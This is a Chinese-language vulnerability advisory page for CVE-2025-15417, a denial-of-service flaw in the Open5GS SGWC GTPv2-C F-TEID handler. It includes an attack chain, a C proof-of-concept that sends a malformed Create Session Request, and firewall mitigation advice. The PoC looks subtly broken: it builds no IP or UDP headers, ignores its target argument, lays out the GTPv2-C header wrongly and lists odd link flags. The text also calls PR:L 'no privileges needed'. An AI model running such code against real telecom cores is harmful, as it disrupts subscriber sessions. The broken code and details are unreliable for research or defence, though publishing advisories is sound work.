IPBUF安全漏洞报告
English
CVE-2025-15417 CVSS 3.3 低危

CVE-2025-15417 Open5GS GTPv2-C F-TEID Handler 拒绝服务漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2025-15417
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSGTPv2-CF-TEID5G核心网SGWCCVE-2025-15417

漏洞概述

CVE-2025-15417是Open5GS项目中的一个拒绝服务漏洞。Open5GS是一个开源的5G核心网络实现软件,广泛应用于电信运营商和研究机构。该漏洞存在于Open5GS的SGWC(Serving Gateway Control)组件中,具体位于sgwc_s11_handle_create_session_request函数中,该函数负责处理GTPv2-C协议中的Create Session Request消息。攻击者可以通过构造恶意的GTPv2-C F-TEID(Fully Qualified Tunnel Endpoint Identifier)数据来触发该漏洞。由于GTPv2-C是5G核心网络中关键的控制平面协议,涉及用户会话的建立和管理,因此该漏洞可被利用来中断5G网络中的会话建立过程,导致服务拒绝。攻击需要本地访问权限,但漏洞利用代码已公开,增加了实际攻击的风险。

技术细节

该漏洞位于Open5GS的src/sgwc/s11-handler.c文件中的sgwc_s11_handle_create_session_request函数。攻击向量为GTPv2-C协议的F-TEID(Fully Qualified Tunnel Endpoint Identifier)处理模块。F-TEID是GTPv2-C协议中用于标识隧道端点的数据结构,包含IP地址和TEID(Tunnel Endpoint Identifier)等信息。攻击者通过发送精心构造的Create Session Request消息,其中包含恶意的F-TEID数据,可导致函数在处理时出现异常,最终引发拒绝服务条件。由于该漏洞属于本地攻击(AV:L),攻击者需要具有本地访问权限才能利用此漏洞。CVSS向量显示攻击复杂度低(AC:L),无需特殊权限(PR:L)且不需要用户交互(UI:N),但造成的可用性影响为低(A:L)。修复补丁为commit 465273d13ba5d47b274c38c9d1b07f04859178a1,建议升级到2.7.7版本。

攻击链分析

STEP 1
步骤1
攻击者获取Open5GS SGWC组件的本地访问权限
STEP 2
步骤2
构造恶意的GTPv2-C Create Session Request消息,包含变异的F-TEID数据
STEP 3
步骤3
向Open5GS SGWC的S11接口(端口2123)发送特制的GTPv2-C数据包
STEP 4
步骤4
sgwc_s11_handle_create_session_request函数在处理F-TEID时触发异常
STEP 5
步骤5
函数执行异常导致进程崩溃或服务中断,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-15417 PoC - Open5GS SGWC GTPv2-C F-TEID DoS * This PoC demonstrates sending a malformed GTPv2-C Create Session Request * with crafted F-TEID to trigger denial of service in Open5GS. * * Usage: gcc -o poc poc.c -lsocket -lnet -lpcap * Run as: sudo ./poc <target_ip> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pcap.h> #define GTPV2C_PORT 2123 #define CREATE_SESSION_REQUEST 32 /* GTPv2-C Header */ typedef struct { uint8_t version:3; uint8_t piggyback:1; uint8_t teid_present:1; uint8_t spare:3; uint8_t message_type; uint16_t message_length; uint32_t teid; uint32_t sequence; uint8_t spare2[3]; } __attribute__((packed)) gtpv2c_header_t; /* F-TEID IE */ typedef struct { uint8_t type; uint16_t length; uint8_t flags; uint8_t f_teid_data[10]; } __attribute__((packed)) f_teid_ie_t; void send_malformed_packet(pcap_t *handle, char *target_ip) { unsigned char packet[256]; gtpv2c_header_t *gtp_hdr = (gtpv2c_header_t *)packet; f_teid_ie_t *f_teid = (f_teid_ie_t *)(packet + sizeof(gtpv2c_header_t)); /* Craft GTPv2-C Create Session Request */ gtp_hdr->version = 2; gtp_hdr->piggyback = 0; gtp_hdr->teid_present = 1; gtp_hdr->spare = 0; gtp_hdr->message_type = CREATE_SESSION_REQUEST; gtp_hdr->teid = 0; gtp_hdr->sequence = 0x000001; /* Malformed F-TEID with invalid flags */ f_teid->type = 0x57; /* F-TEID IE type */ f_teid->length = htons(9); f_teid->flags = 0xFF; /* Invalid flags to trigger vulnerability */ gtp_hdr->message_length = htons(sizeof(f_teid_ie_t) + 4); /* Send packet */ pcap_sendpacket(handle, packet, sizeof(gtpv2c_header_t) + sizeof(f_teid_ie_t)); printf("[+] Malformed GTPv2-C Create Session Request sent\n"); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <target_ip>\n", argv[0]); return 1; } char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *handle = pcap_open_live("any", 65535, 1, 1000, errbuf); if (handle == NULL) { fprintf(stderr, "Error opening pcap: %s\n", errbuf); return 1; } send_malformed_packet(handle, argv[1]); pcap_close(handle); return 0; }

影响范围

Open5GS < 2.7.7

防御指南

临时缓解措施
如果无法立即升级,可通过防火墙限制对Open5GS SGWC组件S11接口(2123端口)的访问,仅允许受信任的网络实体(如MME)进行连接。同时监控网络流量,检测异常的GTPv2-C Create Session Request消息模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表